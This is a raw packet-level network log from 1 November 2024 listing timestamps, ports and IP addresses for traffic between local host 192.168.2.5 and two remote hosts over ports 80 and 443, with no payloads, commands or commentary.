Nov 1, 2024 05:02:30.574399948 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.606331110 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606488943 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606499910 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606517076 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606528997 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606576920 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.606623888 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.606654882 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606666088 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606704950 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.606818914 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606828928 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606842041 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606854916 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606858969 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.606867075 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.606915951 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.606928110 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.607172012 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607178926 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607189894 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607218027 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.607275963 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.607342005 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607352972 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607431889 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.607500076 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607511044 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607549906 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.607693911 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607706070 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.607733965 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.607764959 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.607842922 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.608078003 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.608088970 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.608102083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.608125925 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.608155012 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.608225107 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.608324051 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.608364105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.691276073 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.691298962 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.691318035 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.691330910 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.691430092 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.691495895 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.722940922 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.722960949 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.722974062 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.723031044 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.723036051 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.723036051 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.723046064 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.723076105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.723109961 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.723134041 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.723167896 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.723211050 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.723258018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.723269939 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.723339081 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.723340034 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733072996 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733087063 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733103991 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733151913 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733151913 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733220100 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733233929 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733311892 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733369112 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733376026 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733381033 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733387947 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733392954 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733434916 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733434916 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733664989 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733740091 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733752966 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733808994 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733808994 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733894110 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733906984 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733920097 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733932018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.733951092 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.733984947 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.765141010 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.765160084 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.765173912 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.765186071 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.765263081 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.765500069 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.808278084 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.808299065 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.808310986 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.808358908 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.808464050 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.839881897 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.839901924 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.839911938 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.839957952 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840018034 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840028048 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840138912 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.840138912 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.840138912 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.840173960 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840224981 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840235949 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840286016 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.840322971 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.840357065 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840418100 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840429068 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.840461016 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.840501070 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.849993944 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850038052 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850050926 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850136042 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850147963 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850173950 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850228071 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850284100 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850285053 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850296021 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850306988 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850343943 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850343943 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850410938 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850452900 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850518942 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850531101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850539923 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850573063 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850591898 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850698948 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850744009 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850788116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850800037 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850847006 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850862026 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.850902081 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.850965023 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.882194042 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.882232904 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.882245064 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.882319927 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.882319927 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.899812937 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:30.899898052 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:30.899952888 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:30.904206038 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:30.904222012 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:30.904232025 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:30.904237032 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:30.912213087 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.917053938 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.917176008 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.918121099 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.922911882 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.925250053 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.925297976 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.925309896 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.925339937 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.925339937 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.925384998 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.956902027 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.956978083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.956990957 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957022905 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.957022905 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.957098007 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957110882 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957115889 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.957170010 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.957226038 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957240105 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957292080 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.957319021 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957355976 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957434893 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957448006 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.957473993 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.957556009 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.966988087 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967045069 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967096090 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967108965 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967137098 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967185974 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967190981 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967191935 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967258930 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967263937 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967305899 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967356920 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967369080 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967437983 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967452049 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967493057 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967533112 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967545986 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967613935 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967654943 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967739105 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967778921 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967801094 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967850924 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967917919 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.967926979 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.967931032 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.968007088 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.968050003 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.968056917 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.968116999 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.999229908 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.999291897 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.999304056 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.999332905 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.999355078 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.042265892 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.042339087 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.042350054 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.042442083 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.074064016 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074096918 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074107885 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074145079 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074157953 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074184895 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.074250937 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.074278116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074289083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074301004 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074350119 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.074350119 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.074539900 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074577093 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074635983 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.074671984 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074681997 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.074736118 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.083961964 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084007025 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084017992 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084070921 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084070921 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084151030 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084166050 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084187984 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084198952 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084228992 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084283113 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084353924 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084399939 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084412098 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084455967 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084467888 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084517956 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084530115 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084580898 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084741116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084803104 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084814072 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.084871054 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084871054 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.084889889 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.085057974 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.085109949 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.085125923 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.085144997 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.085176945 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.085186958 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.089358091 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.116080046 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:31.116139889 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:31.116254091 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.116293907 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.116298914 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:31.116305113 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.116358042 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.116358042 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.117369890 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:31.117391109 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:31.159559011 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.159627914 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.159637928 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.159914017 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.191138029 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191245079 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191257000 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191267014 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191329956 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.191401958 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191421986 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.191447020 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191467047 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.191508055 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.191545010 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191556931 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191566944 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191598892 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.191621065 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.191692114 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191745043 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.191807985 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201025963 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201051950 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201070070 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201082945 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201133013 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201133013 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201162100 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201173067 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201240063 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201247931 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201288939 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201301098 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201376915 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201387882 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201430082 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201467991 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201533079 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201545000 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201591969 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201657057 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201668978 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201723099 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201805115 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201816082 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201826096 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.201858044 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.201875925 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.202141047 CET	80	59854	185.215.113.16	192.168.2.5
